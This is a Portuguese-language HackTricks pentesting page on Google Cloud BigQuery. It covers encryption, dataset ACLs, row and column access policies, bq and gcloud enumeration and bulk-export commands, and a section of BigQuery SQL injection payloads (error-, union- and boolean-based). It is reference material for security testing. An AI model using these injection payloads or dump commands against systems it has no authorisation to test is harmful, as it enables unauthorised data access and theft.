GCP - Bigquery Enum

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Informações Básicas

O Google Cloud BigQuery é um data warehouse empresarial totalmente gerenciado e sem servidor, oferecendo capacidades para análise de petabytes de dados, lidando assim eficientemente com conjuntos de dados em grande escala. Como Plataforma como Serviço (PaaS), ele fornece aos usuários infraestrutura e ferramentas para facilitar a gestão de dados sem a necessidade de supervisão manual.

Ele suporta consultas usando ANSI SQL. Os principais objetos são datasets contendo tabelas contendo dados SQL.

Criptografia

Por padrão, é usado uma chave de criptografia gerenciada pelo Google, embora seja possível configurar uma chave de criptografia gerenciada pelo cliente (CMEK). É possível indicar a chave de criptografia por dataset e por tabela dentro de um dataset.

Expiração

É possível indicar um tempo de expiração no dataset para que qualquer nova tabela criada neste dataset seja automaticamente excluída o número especificado de dias após a criação.

Fontes Externas

O Bigquery é profundamente integrado com outros serviços do Google. É possível carregar dados de buckets, pub/sub, google drive, bancos de dados RDS...

ACLs do Dataset

Quando um dataset é criado, ACLs são anexadas para conceder acesso sobre ele. Por padrão, são concedidos privilégios de Proprietário sobre o usuário que criou o dataset e então Proprietário ao grupo projectOwners (Proprietários do projeto), Escritor ao grupo projectWriters e Leitor ao grupo projectReaders:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Controle de Acesso às Linhas da Tabela

É possível controlar as linhas que um principal poderá acessar dentro de uma tabela com políticas de acesso às linhas. Estas são definidas dentro da tabela usando DDL. A política de acesso define um filtro e apenas as linhas correspondentes a esse filtro serão acessíveis pelos principais indicados.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Controle de Acesso às Colunas

Para restringir o acesso aos dados ao nível da coluna:

  1. Defina uma taxonomia e tags de política. Crie e gerencie uma taxonomia e tags de política para seus dados. https://console.cloud.google.com/bigquery/policy-tags

  2. Opcional: Conceda a função Leitor Fino do Catálogo de Dados a um ou mais princípios em uma ou mais das tags de política que você criou.

  3. Atribua tags de política às colunas do BigQuery. No BigQuery, use anotações de esquema para atribuir uma tag de política a cada coluna onde deseja restringir o acesso.

  4. Aplique o controle de acesso na taxonomia. Aplicar o controle de acesso faz com que as restrições de acesso definidas para todas as tags de política na taxonomia sejam aplicadas.

  5. Gerencie o acesso nas tags de política. Use Gerenciamento de Identidade e Acesso (IAM) para restringir o acesso a cada tag de política. A política é efetiva para cada coluna que pertence à tag de política.

Quando um usuário tenta acessar dados da coluna durante a consulta, o BigQuery verifica a tag de política da coluna e sua política para ver se o usuário está autorizado a acessar os dados.

Em resumo, para restringir o acesso a algumas colunas para alguns usuários, você pode adicionar uma tag à coluna no esquema e restringir o acesso dos usuários à tag aplicando o controle de acesso na taxonomia da tag.

Para aplicar o controle de acesso na taxonomia, é necessário habilitar o serviço:

gcloud services enable bigquerydatapolicy.googleapis.com

É possível ver as tags das colunas com:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Enumeração

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Misc
bq show --encryption_service_account # Get encryption service account

Injeção de SQL no BigQuery

Para mais informações, você pode verificar a postagem no blog: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Aqui serão fornecidos apenas alguns detalhes.

Comentários:

  • select 1#de aqui não está funcionando

  • select 1/*entre esses não está funcionando*/ Mas apenas o inicial não funcionará

  • select 1--de aqui não está funcionando

Obtenha informações sobre o ambiente, como:

  • Usuário atual: select session_user()

  • ID do projeto: select @@project_id

Obtenha conjuntos de dados, tabelas e nomes de colunas:

  • Nome do projeto e do conjunto de dados:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Nomes de colunas e tabelas:

# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM digital-bonfire-410512.importeddataset.INFORMATION_SCHEMA.COLUMNS
  • Outros conjuntos de dados no mesmo projeto:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM digital-bonfire-410512.INFORMATION_SCHEMA.SCHEMATA

Tipos de Injeção de SQL:

  • Baseado em erro - casting: select CAST(@@project_id AS INT64)

  • Baseado em erro - divisão por zero: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • Baseado em Union: UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • Baseado em booleano: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Potencial baseado em tempo - Exemplo de uso de conjuntos de dados públicos: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Documentação:

Escalação de Privilégios e Pós-Exploração

pageGCP - BigQuery Privesc

Persistência

pageGCP - BigQuery Persistence

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Última actualización